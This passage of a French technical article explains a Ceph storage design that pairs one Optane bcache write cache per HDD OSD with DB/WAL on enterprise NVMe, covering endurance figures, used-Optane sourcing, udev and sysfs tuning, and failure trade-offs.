nœud, à qui l\u0026rsquo;on demande d\u0026rsquo;absorber le volume d\u0026rsquo;écriture d\u0026rsquo;un disque à plateaux entier pour la vie de la machine.\nL\u0026rsquo;endurance se cite en écritures de disque par jour, et l\u0026rsquo;écart n\u0026rsquo;est pas incrémental :\nPériphérique Endurance notée Optane P5800X 100 DWPD Optane P4800X 30 DWPD NAND d\u0026rsquo;entreprise à forte écriture, haut de gamme environ 10 DWPD NAND d\u0026rsquo;entreprise à usage mixte 3 DWPD ou moins NAND d\u0026rsquo;entreprise grand public — classe PM9A3, 7450 Pro environ 1 DWPD L\u0026rsquo;Optane est entre dix et cent fois l\u0026rsquo;endurance de la NAND que vous mettriez sinon là. Mettez un disque à 1 DWPD dans la seule position qui reçoit chaque écriture du cluster et vous n\u0026rsquo;avez pas construit un cache, vous avez construit un consommable.\nC\u0026rsquo;est pire que ne le suggère le tableau, parce que la NAND souffre d\u0026rsquo;amplification d\u0026rsquo;écriture en interne et l\u0026rsquo;Optane non. Le DWPD noté d\u0026rsquo;un disque NAND est ce qu\u0026rsquo;il encaisse à l\u0026rsquo;interface ; ce que ses cellules absorbent réellement est plus grand. Le nombre de l\u0026rsquo;Optane n\u0026rsquo;a pas besoin d\u0026rsquo;un tel astérisque.\nLes reconstructions sont là où cela se teste. Le backfill pousse des téraoctets d\u0026rsquo;écritures à travers les nœuds survivants dans une fenêtre comprimée, chaque octet à travers leurs périphériques de cache — un événement d\u0026rsquo;endurance, pas seulement de latence, arrivant exactement quand vous voulez le moins qu\u0026rsquo;un second périphérique lâche.\nLes deux paliers de flash veulent donc des disques différents, pour des raisons différentes :\nPalier Volume d\u0026rsquo;écriture Ce dont le périphérique a besoin DB/WAL petit — RocksDB seulement Un NVMe d\u0026rsquo;entreprise rapide. Faible latence, IOPS aléatoires élevés, PLP. La NAND d\u0026rsquo;entreprise est la bonne technologie ; un PM9A3 ou 7450 Pro est le bon achat Cache d\u0026rsquo;écriture tout PLP et endurance dans les dizaines de DWPD. La NAND est la mauvaise technologie à tout prix Acheter un seul genre de disque pour les deux travaux est l\u0026rsquo;erreur que cette section existe pour prévenir — mais ne lisez pas la première ligne comme une permission d\u0026rsquo;économiser, parce que un faible volume d\u0026rsquo;écriture n\u0026rsquo;est pas une faible exigence.\nLe périphérique DB/WAL doit encore être un NVMe vraiment rapide, pour trois raisons qui n\u0026rsquo;ont rien à voir avec combien d\u0026rsquo;octets le traversent.\nIl sert chaque OSD derrière lui à la fois, donc la file qu\u0026rsquo;il voit est quatre ou quinze jeux de trafic de métadonnées, pas la valeur d\u0026rsquo;un seul disque.\nSa latence atterrit directement sur vos clients. Les recherches RocksDB sont sur le chemin critique pour trouver des objets, pour le peering et pour le scrub, et ce sont de petites lectures aléatoires. La charge où l\u0026rsquo;écart entre un NVMe rapide et un médiocre est le plus large. Chaque microseconde est multipliée par chaque OSD qui en dépend.\nEt la compaction se fait en rafales. RocksDB réécrit périodiquement ses niveaux, transformant un brassage régulier en un pic concentré de lectures et d\u0026rsquo;écritures. Un périphérique qui gère la moyenne et cale sur le pic cale chaque OSD derrière lui au même moment.\nLes propres ratios de Ceph sont l\u0026rsquo;indice. Il permet trois fois plus d\u0026rsquo;OSD derrière un NVMe que derrière un SSD SATA, et c\u0026rsquo;est l\u0026rsquo;interface et la classe de périphérique qui parlent, pas la capacité. Utilisez du NVMe.\nDonc : le périphérique de cache doit être de l\u0026rsquo;Optane, le périphérique DB/WAL peut être de la NAND, et aucune de ces positions n\u0026rsquo;est là où vous économisez de l\u0026rsquo;argent.\nQuelle Optane : une M10 de 32 Go ferait souvent l\u0026rsquo;affaire Rien de cela ne veut dire que la plus grosse Optane est la bonne. Le périphérique dont vous avez besoin est décidé par votre charge d\u0026rsquo;écriture — mais il se trouve que le marché de l\u0026rsquo;occasion peut le décider pour vous de toute façon. L\u0026rsquo;arithmétique compte quand même, parce qu\u0026rsquo;elle vous dit ce que vous sur- ou sous-achetez.\nPartez de ce à quoi sert le cache. Il tient une rafale, pas un disque. À writeback_percent=40, un périphérique de 32 Go donne à peu près 13 Go de tampon sale, ce qui est un très grand nombre de petites écritures synchrones.\nNe soyez donc pas rebuté par le ratio. Un module de 32 Go devant un disque de 20 To en est 0,16 %, ce qui paraît absurde jusqu\u0026rsquo;à ce que vous vous rappeliez que c\u0026rsquo;est un absorbeur de rafales plutôt qu\u0026rsquo;un cache d\u0026rsquo;ensemble de travail essayant de tenir des données chaudes. Un périphérique de 375 Go devant le même disque en est 1,9 %, ce qui est simplement plus de marge que vous n\u0026rsquo;en utiliserez.\nCe qui met le bas de gamme en jeu. Voici le petit module grand public face à la pièce de centre de données, parce que l\u0026rsquo;écart n\u0026rsquo;est pas là où les gens l\u0026rsquo;attendent :\nOptane Memory M10 32 Go Optane DC P4800X 375 Go Lecture aléatoire, 4K 240 000 IOPS 550 000 IOPS Écriture aléatoire, 4K 65 000 IOPS comparable à la lecture Lecture séquentielle 1 200 Mo/s 2 400 Mo/s Écriture séquentielle 290 Mo/s 2 000 Mo/s Latence typique — sous 10 µs Endurance 365 TBW 12,3 PBW — 30 DWPD Interface PCIe 3.0 x2, M.2 2280 PCIe 3.0 x4, U.2 ou AIC Regardez d\u0026rsquo;abord la ligne des IOPS d\u0026rsquo;écriture. La petite M10 fait 65 000 écritures aléatoires par seconde ; le plateau derrière elle en fait 80. Même l\u0026rsquo;Optane la moins chère est à peu près 650 fois le disque qu\u0026rsquo;elle cache, donc sur l\u0026rsquo;axe de la performance l\u0026rsquo;argument est clos avant de commencer. Les IOPS supplémentaires de la pièce DC n\u0026rsquo;ont nulle part où aller quand il y a un disque à 7,2k en aval.\nLa ligne qui décide l\u0026rsquo;achat est l\u0026rsquo;endurance, où l\u0026rsquo;écart est de 34×. Traduite en budget quotidien sur une vie de cinq ans :\nPériphérique Écritures soutenables par jour, sur cinq ans M10 32 Go — 365 TBW environ 200 Go/jour P4800X 375 Go — 12,3 PBW environ 6,7 To/jour Sous 200 Go d\u0026rsquo;écritures par jour, une M10 de 32 Go tient toute la vie du montage. Au double de cela, vous obtenez deux ans et demi. Vraiment lourd en écriture et la pièce DC gagne son prix — pas pour les IOPS, que vous ne pouvez pas utiliser, mais pour la trentaine de fois plus d\u0026rsquo;écriture qu\u0026rsquo;elle tolère.\nAlors mesurez plutôt que de deviner. nvme smart-log sur un périphérique de cache existant vous donne data_units_written ; échantillonnez-le à une semaine d\u0026rsquo;écart, divisez, et comparez au TBW noté de ce que vous envisagez. bcache garde ses propres totaux sous /sys/block/bcacheN/bcache/stats_total/ si vous préférez le lire là.\nDeux réserves sur la M10. Ses chiffres aléatoires sont cités sur une étendue de 8 Go plutôt que sur tout le périphérique, donc sur un cache que vous comptez faire tourner substantiellement plein, traitez-les comme le bout optimiste. Et c\u0026rsquo;est une pièce grand public ne portant aucune revendication de PLP d\u0026rsquo;entreprise — le média de l\u0026rsquo;Optane est écrit sur place sans tampon DRAM dans le chemin d\u0026rsquo;écriture, ce qui est pourquoi ces modules se comportent bien mieux à une coupure de courant soudaine que la NAND grand public ne le ferait, mais « se comporte bien en pratique » n\u0026rsquo;est pas une spécification. Si vous voulez la garantie par écrit, achetez une pièce de série DC.\nLe plancher est la bande passante, pas la capacité — sautez les modules de 16 Go Il y a une seconde contrainte, indépendante de tout ce qui précède, et elle disqualifie la pièce la moins chère de la gamme.\nLe cache doit être plus rapide que le disque en séquentiel, sinon c\u0026rsquo;est un étranglement. La M10 de 16 Go ne l\u0026rsquo;est pas, et c\u0026rsquo;est le module qui vous tentera le plus parce qu\u0026rsquo;il est presque gratuit :\nÉcriture séquentielle Optane Memory M10 16 Go 150 Mo/s Optane Memory M10 32 Go 290 Mo/s Optane DC P4800X 375 Go 2 000 Mo/s Un HDD d\u0026rsquo;entreprise à 7,2k 150-250 Mo/s Lisez la première et la dernière ligne ensemble. Un module de 16 Go écrit en séquentiel à peu près à la même vitesse que le disque à plateaux qu\u0026rsquo;il est censé accélérer, et plus lentement qu\u0026rsquo;un bon. Il reste énormément plus rapide en travail aléatoire — 35 000 IOPS d\u0026rsquo;écriture aléatoire contre les 80 du disque — mais sur un flux séquentiel il est au mieux à égalité et au pire un plafond sous ce que le disque nu gérait sans aide.\nEt cette conception vous garantit d\u0026rsquo;atteindre ce plafond, parce que couper le contournement séquentiel envoie tout par le cache, faisant de la propre bande passante d\u0026rsquo;écriture séquentielle du cache le plafond dur de tout l\u0026rsquo;OSD. La récupération est là où cela mord le plus fort : backfiller un OSD de 20 To est à peu près aussi séquentiel que cette charge le devient, et le plafonner à 150 Mo/s rend une reconstruction déjà lente plus lente.\nLa ligne M10 a donc un plancher à 32 Go, et c\u0026rsquo;est un plancher de bande passante plutôt que de capacité. L\u0026rsquo;arithmétique de capacité disait que 32 Go était ample ; l\u0026rsquo;arithmétique de bande passante écarte les 16 Go quelle que soit la petitesse de ce que vous aviez à stocker. Les deux tests doivent passer, et la pièce bon marché échoue à celui que les gens ne vérifient pas.\nQuoi que vous envisagiez, mettez son chiffre d\u0026rsquo;écriture séquentielle à côté de 250 Mo/s avant de l\u0026rsquo;acheter.\nAcheter un produit que personne ne fabrique plus L\u0026rsquo;Optane est abandonnée. Intel a mis fin à l\u0026rsquo;activité en 2022, passant en pertes 559 millions de dollars de stock et arrêtant le développement. Il n\u0026rsquo;y a pas de nouvelle production et pas de réapprovisionnement ; l\u0026rsquo;offre totale ne fait que baisser à partir d\u0026rsquo;ici.\nCe qui pose une question évidente, parce qu\u0026rsquo;il y en a une quantité surprenante en vente. Comprendre d\u0026rsquo;où elle vient vous dit ce que vous achetez.\nC\u0026rsquo;est du stock de pièces de rechange de service OEM en cours de liquidation. Les trois grands fabricants de serveurs ont stocké de l\u0026rsquo;Optane comme pièces de rechange pour prendre en charge les plateformes où ils l\u0026rsquo;ont vendue. Ces plateformes sont arrivées en fin de vie et sont sorties du support, donc les pièces qui les soutenaient sont devenues du stock mort du jour au lendemain — des entrepôts de pièces pour des machines que personne n\u0026rsquo;est plus contractuellement obligé de réparer. Ce stock est ce qui afflue sur AliExpress et chez les reconditionneurs.\nDeux conséquences, et les deux sont de bonnes nouvelles.\nUne grande partie est inutilisée plutôt que retirée. Les pièces de rechange de service ont attendu sur une étagère une défaillance qui n\u0026rsquo;est jamais venue, donc le chiffre d\u0026rsquo;usure à l\u0026rsquo;arrivée est souvent en pratique zéro — pas « quelques années de service léger » mais jamais écrit. Vérifiez plutôt que de faire confiance : nvme smart-log vous donne percentage_used et data_units_written, et sur du vrai stock de pièces de rechange ceux-là devraient être étonnamment bas. Tout ce qui montre une vraie usure est une pièce retirée vendue pour autre chose, mais même alors la marge d\u0026rsquo;endurance veut qu\u0026rsquo;une Optane usée puisse avoir plus de vie devant elle qu\u0026rsquo;un disque NAND neuf de même capacité.\nCela explique quelles capacités vous trouverez. Les pièces de rechange OEM étaient stockées pour des serveurs, ce qui veut dire des pièces de centre de données. Voici toute la gamme, et notez où commence le fleuron :\nPièce Capacités Forme Optane Memory M10 16, 32, 64 Go M.2 2280, grand public Optane SSD 800P 58, 118 Go M.2 2280, grand public Optane SSD P1600X 58, 118 Go M.2 2280, pièce de démarrage et de cache de centre de données Optane SSD DC P4801X 100, 200, 375 Go M.2 110 mm ou U.2 Optane SSD DC P4800X 375 Go au plus petit, 750 Go, 1,5 To U.2 ou carte additionnelle Optane SSD P5800X 400 Go, 800 Go, 1,6 To U.2 ou carte additionnelle En théorie, les petites pièces M.2 sont la réponse élégante — la M10, la 800P, la P1600X et la P4801X de 100 Go font toutes le travail, et à bas prix. En pratique le marché ne les a pas, parce que personne n\u0026rsquo;a mis en entrepôt des modules accélérateurs de bureau comme pièces de rechange de serveur. Ce qui est listé est du 375 Go et au-dessus, du matériel de classe P4800X.\nAlors prévoyez d\u0026rsquo;acheter plus de capacité que le rôle n\u0026rsquo;en a besoin, parce que c\u0026rsquo;est ce qui est en vente. Ce n\u0026rsquo;est pas un mauvais résultat. Sur-acheter un périphérique de cache vous met sur du 30 DWPD et une latence sous 10 µs quand votre charge en demandait une fraction, et pour un plateau de 20 To que vous comptez garder des années, c\u0026rsquo;est le bon sens dans lequel se tromper. Cela veut bien dire que le prix d\u0026rsquo;entrée est plus haut que l\u0026rsquo;arithmétique ne le suggère, et que le dimensionnement ci-dessus devient une vérification contre le sous-achat plutôt qu\u0026rsquo;une liste de courses.\nTrois choses à prévoir, puisque c\u0026rsquo;est une liquidation plutôt qu\u0026rsquo;une chaîne d\u0026rsquo;approvisionnement :\nAchetez vos pièces de rechange avec le montage. Un pool fini est en train d\u0026rsquo;être écoulé. Quand un périphérique lâche dans trois ans, vous ne commanderez pas un remplacement, vous en chasserez un — alors chiffrez les pièces de rechange maintenant, pendant que le stock est là.\nAttendez-vous à du micrologiciel OEM et vérifiez le namespace. Les pièces d\u0026rsquo;un programme de rechange d\u0026rsquo;un fabricant portent souvent le micrologiciel de ce fabricant et peuvent arriver formatées à une taille de LBA ou avec des réglages de métadonnées convenant à ce pour quoi elles étaient stockées. Confirmez avec nvme id-ns avant de bâtir dessus, et soyez prêt à nvme format vers un format simple de 4096 octets.\nIl n\u0026rsquo;y a ni garantie, ni support, ni plus de mises à jour de micrologiciel. La propre note de support d\u0026rsquo;Intel couvre ce que la fermeture veut dire pour les périphériques déjà en service, ce qui est la position dans laquelle tout ce que vous achetez est déjà. Vérifier que la pièce arrivée est la pièce de l\u0026rsquo;annonce est à votre charge.\nbcache ne remplace pas le déchargement DB/WAL Il vaut de le dire explicitement, parce que c\u0026rsquo;est l\u0026rsquo;endroit évident pour essayer d\u0026rsquo;économiser et cela ne marche pas : vous avez encore besoin de block.db sur NVMe. Les deux couches, pas l\u0026rsquo;une ou l\u0026rsquo;autre.\nL\u0026rsquo;Optane est un cache d\u0026rsquo;écriture. C\u0026rsquo;est tout ce qu\u0026rsquo;elle est. Elle raccourcit le chemin d\u0026rsquo;acquittement des écritures qui vont vers le disque, et elle ne fait rien d\u0026rsquo;autre.\nRocksDB ne fait pas qu\u0026rsquo;écrire. Ceph lit ses métadonnées sans cesse — pour trouver des objets, pour servir le peering, pour répondre aux scrubs — et un cache d\u0026rsquo;écriture n\u0026rsquo;offre exactement rien en lecture une fois les données vidées de lui. Le cache ne retire pas non plus le trafic de métadonnées ; il le diffère et le regroupe, donc chaque mise à jour RocksDB arrive quand même au plateau à terme, se disputant les mêmes déplacements. Et la compaction transforme un brassage modeste en bien plus de trafic de périphérique que les écritures qui l\u0026rsquo;ont causé.\nLes deux changements corrigent donc des problèmes différents et aucun ne se substitue à l\u0026rsquo;autre :\nCe qu\u0026rsquo;il corrige Ce qu\u0026rsquo;il ne fait pas block.db sur NVMe les métadonnées vivent sur flash — lectures et écritures, en permanence hors du plateau rien pour une rafale d\u0026rsquo;écritures d\u0026rsquo;invité Optane via bcache la latence d\u0026rsquo;acquittement des rafales pour les écritures de données rien pour les lectures de métadonnées ; ne fait que différer les écritures de métadonnées Sautez le déchargement de DB et gardez l\u0026rsquo;Optane, et RocksDB est de retour sur le plateau avec ses lectures servies à 80 IOPS. Sautez l\u0026rsquo;Optane et gardez le déchargement de DB, et le régime établi est décent mais les rafales calent encore à la vitesse du plateau.\nLa règle udev, ligne par ligne Les réglages de bcache vivent dans sysfs, et sysfs les réinitialise chaque fois que le périphérique est enregistré — ce qui est à chaque démarrage. Ils ont donc leur place dans une règle udev plutôt que dans un script que quelqu\u0026rsquo;un doit se rappeler de lancer :\n# /etc/udev/rules.d/99-bcache.rules ACTION==\u0026#34;add|change\u0026#34;, SUBSYSTEM==\u0026#34;block\u0026#34;, KERNEL==\u0026#34;bcache*\u0026#34;, \\ ATTR{bcache/cache_mode}=\u0026#34;writeback\u0026#34;, \\ ATTR{bcache/sequential_cutoff}=\u0026#34;0\u0026#34;, \\ ATTR{bcache/congested_read_threshold_us}=\u0026#34;0\u0026#34;, \\ ATTR{bcache/writeback_rate}=\u0026#34;81920\u0026#34;, \\ ATTR{bcache/writeback_rate_minimum}=\u0026#34;20480\u0026#34;, \\ ATTR{bcache/writeback_percent}=\u0026#34;40\u0026#34; KERNEL==\u0026quot;bcache*\u0026quot; correspond à chaque périphérique bcache du nœud, donc une seule règle couvre toutes les paires. ACTION==\u0026quot;add|change\u0026quot; veut dire qu\u0026rsquo;elle se réapplique chaque fois qu\u0026rsquo;un périphérique apparaît ou est rattaché, pas seulement au démarrage.\nCe que fait chaque réglage, et pourquoi :\ncache_mode=writeback — tout l\u0026rsquo;intérêt. Dans le writethrough par défaut, une écriture n\u0026rsquo;est pas acquittée avant d\u0026rsquo;atteindre le HDD, donc le cache ne fait rien pour la latence d\u0026rsquo;écriture. En writeback, l\u0026rsquo;Optane acquitte et le plateau rattrape plus tard.\nsequential_cutoff=0 — par défaut, bcache détecte les E/S séquentielles et les route droit au-delà du cache une fois qu\u0026rsquo;elles passent 4 Mo, sur la théorie que le disque d\u0026rsquo;appui gère bien le séquentiel. Zéro désactive ce contournement pour que tout soit caché. Sur un nœud hyper-convergé c\u0026rsquo;est le bon choix : ce qui paraît séquentiel à un périphérique bcache cesse d\u0026rsquo;être séquentiel au plateau une fois que plusieurs OSD s\u0026rsquo;entrelacent, et vous voulez chaque écriture acquittée à la vitesse de l\u0026rsquo;Optane quoi qu\u0026rsquo;il arrive. Cela porte cependant une obligation — sans contournement, la propre bande passante d\u0026rsquo;écriture séquentielle du périphérique de cache devient le plafond de tout l\u0026rsquo;OSD, ce qui est pourquoi les modules de 16 Go sont disqualifiés.\ncongested_read_threshold_us=0 — bcache surveille la latence de son propre périphérique de cache et se met à le contourner quand il le juge congestionné, avec un défaut de 2000 µs pour les lectures. L\u0026rsquo;Optane ne se congestionne pas comme la NAND, donc c\u0026rsquo;est bcache qui remet en question un périphérique qu\u0026rsquo;il a mal mesuré. Zéro coupe le suivi.\nwriteback_rate=81920 et writeback_rate_minimum=20480 — le taux de vidage de fond, en secteurs par seconde, donc à peu près une cible de 40 Mo/s avec un plancher de 10 Mo/s. Un contrôleur PD déplace le taux réel entre les deux. La cible est fixée près de ce qu\u0026rsquo;un plateau peut absorber en séquentiel, et le plancher empêche le contrôleur d\u0026rsquo;étrangler le vidage vers zéro et de laisser les données sales s\u0026rsquo;accumuler indéfiniment. Les deux sont des points de départ plutôt que des constantes — comment les changer est plus bas.\nwriteback_percent=40 — quelle part du cache bcache laissera rester sale avant de repousser fort, contre un défaut de 10. Quarante vous donne un tampon de rafale bien plus profond. Cela veut aussi dire que jusqu\u0026rsquo;à 40 % de cette Optane tient l\u0026rsquo;unique copie de données du système, ce qui est le compromis, et c\u0026rsquo;est la raison pour laquelle la disposition d\u0026rsquo;une-par-plateau compte. C\u0026rsquo;est la valeur qui vaut le plus d\u0026rsquo;être revisitée une fois que vous avez observé une vraie charge.\nChanger les valeurs de remplissage et de vidage plus tard Les 40 % et les deux taux ci-dessus sont les valeurs qui tournent ici, pas des constantes universelles. Ce sont la première chose que vous voudrez déplacer une fois que vous aurez observé une vraie charge, alors il vaut de savoir qu\u0026rsquo;il y a deux endroits où les changer, faisant deux choses différentes.\nsysfs le change maintenant. La règle udev le change au prochain démarrage. Vous voulez les deux, et dans cet ordre.\nChangez-le en vie, sur un périphérique :\necho 30 \u0026gt; /sys/block/bcache0/bcache/writeback_percent Ou sur chaque paire du nœud :\nfor d in /sys/block/bcache*/bcache; do echo 30 \u0026gt; \u0026#34;$d/writeback_percent\u0026#34; done Le taux de vidage marche pareil. Les deux valeurs sont en secteurs par seconde, donc celles-ci divisent par deux la cible et le plancher :\nfor d in /sys/block/bcache*/bcache; do echo 40960 \u0026gt; \u0026#34;$d/writeback_rate\u0026#34; echo 10240 \u0026gt; \u0026#34;$d/writeback_rate_minimum\u0026#34; done Cela prend effet immédiatement et survit exactement jusqu\u0026rsquo;à ce que le périphérique soit réenregistré. La documentation du noyau est explicite : ces réglages « do not persist across reboot » — ne persistent pas au redémarrage — ce qui est toute la raison pour laquelle la règle udev existe.\nUne fois que vous êtes content d\u0026rsquo;une valeur, éditez la règle et rechargez-la sans redémarrer :\nudevadm control --reload udevadm trigger --subsystem-match=block --action=change C\u0026rsquo;est là qu\u0026rsquo;ACTION==\u0026quot;add|change\u0026quot; gagne sa place. Le déclencheur envoie un événement change aux périphériques déjà présents, donc la règle se réapplique à un nœud en marche au lieu d\u0026rsquo;attendre le prochain démarrage. Si la règle n\u0026rsquo;avait correspondu qu\u0026rsquo;à add, cette commande ne ferait rien.\nPuis relisez les valeurs, parce qu\u0026rsquo;une faute de frappe dans une règle udev échoue en silence :\ngrep . /sys/block/bcache*/bcache/writeback_percent Savoir dans quel sens les déplacer Ne réglez pas ceci depuis des premiers principes — bcache expose ce dont vous avez besoin sous le même répertoire sysfs.\ndirty_data est celui à surveiller : combien de données siègent actuellement dans le cache et nulle part ailleurs. Les docs le décrivent comme « continuously updated unlike the cache set\u0026rsquo;s version, but may be slightly off » — continuellement mis à jour contrairement à la version de l\u0026rsquo;ensemble de cache, mais peut être légèrement décalé — ce qui va bien pour cet usage. Échantillonnez-le au fil d\u0026rsquo;une journée de travail normale et d\u0026rsquo;une fenêtre de sauvegarde.\ncache_hits, cache_misses et cache_hit_ratio vous disent si le cache est utilisé, avec la réserve qu\u0026rsquo;« a partial hit is counted as a miss » — un succès partiel est compté comme un manque. bypassed compte les E/S qui sont passées entièrement à côté du cache — avec sequential_cutoff=0 cela devrait être proche de plat, donc un nombre qui grandit veut dire que quelque chose contourne encore.\nTous ceux-là viennent comme des totaux courants plus des versions qui décroissent sur le dernier jour, la dernière heure et les cinq dernières minutes, ce qui rend celles à courte fenêtre bien plus utiles pour repérer un problème que le chiffre à vie.\nÀ partir de là :\nSymptôme Bouton Sens Les rafales calent — les écritures heurtent la latence du plateau en pleine rafale writeback_percent vers le haut, pour un tampon plus profond Plus de données exposées sur le cache que vous n\u0026rsquo;êtes à l\u0026rsquo;aise avec writeback_percent vers le bas dirty_data bloqué au plafond pendant le travail ordinaire writeback_rate vers le haut — le tampon n\u0026rsquo;est pas le problème, le drainage l\u0026rsquo;est Le vidage de fond en concurrence avec les lectures d\u0026rsquo;invité sur le plateau writeback_rate vers le bas dirty_data qui monte sur des jours plutôt que des heures writeback_rate_minimum vers le haut, pour que le contrôleur ne puisse pas ralentir au pas Si dirty_data reste bloqué au plafond quoi que vous fassiez, aucun bouton n\u0026rsquo;est la réponse — le cluster écrit plus vite que les plateaux ne peuvent absorber, et les corrections honnêtes sont plus de plateaux ou moins d\u0026rsquo;écritures.\nUn fichier à laisser tranquille : writeback_running. Le mettre à off arrête entièrement le writeback, et la documentation dit qu\u0026rsquo;il est « only meant for benchmarking » — destiné seulement au test de performance. Sur un OSD de production, cela veut dire que les données sales s\u0026rsquo;accumulent jusqu\u0026rsquo;à ce que le cache soit plein et ne se drainent jamais.\nCe que vous abandonnez La plupart des exposés de cette conception s\u0026rsquo;arrêtent aux bonnes nouvelles. Voici les parties qui vous feront réellement mal, et chacune vaut d\u0026rsquo;être connue avant de bâtir plutôt qu\u0026rsquo;après.\nLes deux périphériques ajoutés échouent très différemment Le NVMe DB/WAL partagé meurt block.db pour osd.0-2 parti osd.0 perdu osd.1 perdu osd.2 perdu Trois OSD, un événement. Une défaillance corrélée sur le nœud, ce qui est exactement ce dont la réplication ne vous protège pas. Choisissez le ratio pour la reconstruction que vous acceptez de subir, pas le prix par OSD. Une Optane appariée meurt Optane pour osd.0 parti Optane pour osd.1 va bien Optane pour osd.2 va bien osd.0 perdu osd.1 en service osd.2 en service Un OSD, et Ceph fait ça tous les jours. Le rayon d'explosion est la valeur d'un seul seul disque de données — la défaillance qu'un pool répliqué existe pour absorber. C'est tout l'argument pour acheter plusieurs petits périphériques, pas un gros. Même classe de perte des deux côtés — chaque périphérique tient un état qui n'existe nulle part ailleurs, donc l'OSD est détruit plutôt qu'arrêté et doit être recréé et backfillé. Seul le nombre diffère, et c'est ce qu'achète l'appariement d'une-par-plateau. Les deux périphériques ajoutés tiennent un état qui n\u0026rsquo;existe nulle part ailleurs, donc en perdre un détruit les OSD qui en dépendent. La différence n\u0026rsquo;est que combien : le NVMe DB/WAL partagé fait tomber chaque OSD derrière lui, tandis qu\u0026rsquo;une Optane appariée un-pour-un en fait tomber exactement un. C\u0026rsquo;est ce qu\u0026rsquo;achètent les périphériques supplémentaires. Perdre l\u0026rsquo;un ou l\u0026rsquo;autre périphérique de flash détruit l\u0026rsquo;OSD. Pas l\u0026rsquo;arrête — le détruit. Les deux périphériques tiennent un état qui n\u0026rsquo;existe nulle part ailleurs : block.db tient le RocksDB qui donne sens à block, et un cache en writeback tient chaque écriture pas encore vidée. La documentation du noyau ne prend pas de gants sur le second : « In writeback mode you\u0026rsquo;ll lose data if something happens to your SSD » — en mode writeback vous perdrez des données s\u0026rsquo;il arrive quelque chose à votre SSD. Dans un cas comme dans l\u0026rsquo;autre, l\u0026rsquo;OSD ne revient pas, il est recréé et backfillé.\nCe sont donc la même classe de risque, et il vaut d\u0026rsquo;être clair là-dessus plutôt que de traiter le cache comme l\u0026rsquo;effrayant. L\u0026rsquo;Optane n\u0026rsquo;est pas un périphérique plus dangereux que le NVMe. Deux choses les séparent, et aucune n\u0026rsquo;est la sévérité par OSD.\nLa première est le rayon d\u0026rsquo;explosion, et c\u0026rsquo;est toute la justification de l\u0026rsquo;appariement. Une Optane par plateau veut dire qu\u0026rsquo;une défaillance de cache coûte un OSD — une perte d\u0026rsquo;un seul disque, qui est exactement l\u0026rsquo;événement qu\u0026rsquo;un pool répliqué existe pour absorber, et que Ceph gère sans que personne ne soit alerté. Le périphérique DB/WAL est partagé, donc le perdre coûte chaque OSD derrière lui à la fois, ce qui est une défaillance corrélée dont la réplication ne vous protège pas. Même défaillance, un périphérique contre cinq.\nLa seconde est comment la défaillance se présente, et celle-là est un piège d\u0026rsquo;exploitation. Quand un cache meurt en writeback, le périphérique d\u0026rsquo;appui s\u0026rsquo;arrête et retourne des erreurs d\u0026rsquo;E/S, ce qui va bien — Ceph marque l\u0026rsquo;OSD comme tombé et continue. Le mauvais cas est un redémarrage où le périphérique d\u0026rsquo;appui remonte sans son cache attaché. Il ressemble alors à un système de fichiers montable auquel il manque simplement chaque écriture sale, ce qui est corrompu plutôt que simplement périmé. Un block.db manquant échoue bruyamment et l\u0026rsquo;OSD refuse de démarrer ; un cache manquant peut échouer en silence et vous laisser monter l\u0026rsquo;épave. Traitez un périphérique d\u0026rsquo;appui bcache comme non montable sans son cache, et ne laissez jamais rien vous le monter serviablement.\nbcache ne garantit pas à lui seul un writeback sûr à la coupure de courant. C\u0026rsquo;est là que le cache d\u0026rsquo;écriture du HDD cesse d\u0026rsquo;être une optimisation et devient une exigence — coupez-le, et faites tourner un noyau assez récent pour avoir la gestion FUA, pour que les écritures synchrones soient honorées à travers la pile plutôt qu\u0026rsquo;acquittées tôt quelque part au milieu. Un périphérique de cache sans protection contre la coupure de courant aggrave le problème, parce qu\u0026rsquo;il peut perdre des données qu\u0026rsquo;il a déjà rapportées comme sûres.\nCe qui fait du ratio DB/WAL le nombre qui compte. Ceph permet 4 à 5 OSD HDD par SSD SATA et pas plus de 15 par NVMe, et avertit de « balancing the risk of reducing costs by placing too many responsibilities into too few failure domains » — équilibrer le risque de réduire les coûts en plaçant trop de responsabilités dans trop peu de domaines de défaillance. Contrairement au palier de cache, il n\u0026rsquo;y a pas d\u0026rsquo;appariement disponible pour contenir celui-ci — le partage est l\u0026rsquo;intérêt du périphérique.\nSur des disques de 20 To, c\u0026rsquo;est toute la conversation, parce que la reconstruction est énorme. Un OSD tombé, c\u0026rsquo;est 20 To à backfiller ; aux 150-250 Mo/s qu\u0026rsquo;un plateau soutient, étranglé pour que la récupération n\u0026rsquo;affame pas les invités, vous en avez pour bien plus d\u0026rsquo;une journée d\u0026rsquo;opération dégradée pour un seul disque. Perdez un périphérique DB partagé en portant cinq et il y a 100 To à déplacer.\nLe ratio n\u0026rsquo;est donc pas vraiment une décision de coût. C\u0026rsquo;est une décision sur combien de temps vous êtes prêt à tourner dégradé, et combien de trafic de reconstruction le cluster peut porter tout en servant encore des VM.\nLa conception dépend d\u0026rsquo;un périphérique que personne ne fabrique plus. C\u0026rsquo;est celui sans réponse technique. L\u0026rsquo;Optane est la bonne pièce pour la position de cache et rien d\u0026rsquo;actuel ne la remplace — la NAND ne peut pas prendre le volume d\u0026rsquo;écriture, et la mémoire basée sur CXL vers laquelle Intel a pivoté n\u0026rsquo;est pas un remplacement direct pour un cache de bloc. La parade est donc commerciale plutôt qu\u0026rsquo;astucieuse, elle est traitée plus haut, et le résumé honnête est que cette architecture a une date de fin quelque part dans le futur.\nRien de tout cela ne fait d\u0026rsquo;un cluster HDD un cluster tout-flash. Un trafic d\u0026rsquo;écriture aléatoire soutenu qui dépasse le taux de vidage remplira le cache, et une fois plein vous écrivez à la vitesse du plateau avec des couches en plus dans le chemin. Cette conception absorbe les rafales et retire la surcharge de métadonnées. Elle ne fabrique pas d\u0026rsquo;IOPS.\nCe que ça donne au total Trois paliers, chacun faisant la seule chose où il est le meilleur — et les trois sont requis :\nL\u0026rsquo;Optane absorbe les rafales d\u0026rsquo;écriture aléatoire, un périphérique par plateau. Ce doit être de l\u0026rsquo;Optane, parce que chaque écriture la traverse et que l\u0026rsquo;endurance de la NAND est mauvaise pour cette position Un NVMe d\u0026rsquo;entreprise rapide tient RocksDB et le WAL, partagé sur une poignée d\u0026rsquo;OSD à un ratio que vous avez choisi délibérément plutôt qu\u0026rsquo;accepté Les HDD fournissent la capacité en vrac, libérés des métadonnées comme des rafales L\u0026rsquo;intérêt n\u0026rsquo;est pas de prétendre que les disques à plateaux sont de la flash. C\u0026rsquo;est de cesser de leur envoyer le travail où ils sont les pires, pour que la capacité que vous avez réellement payée soit 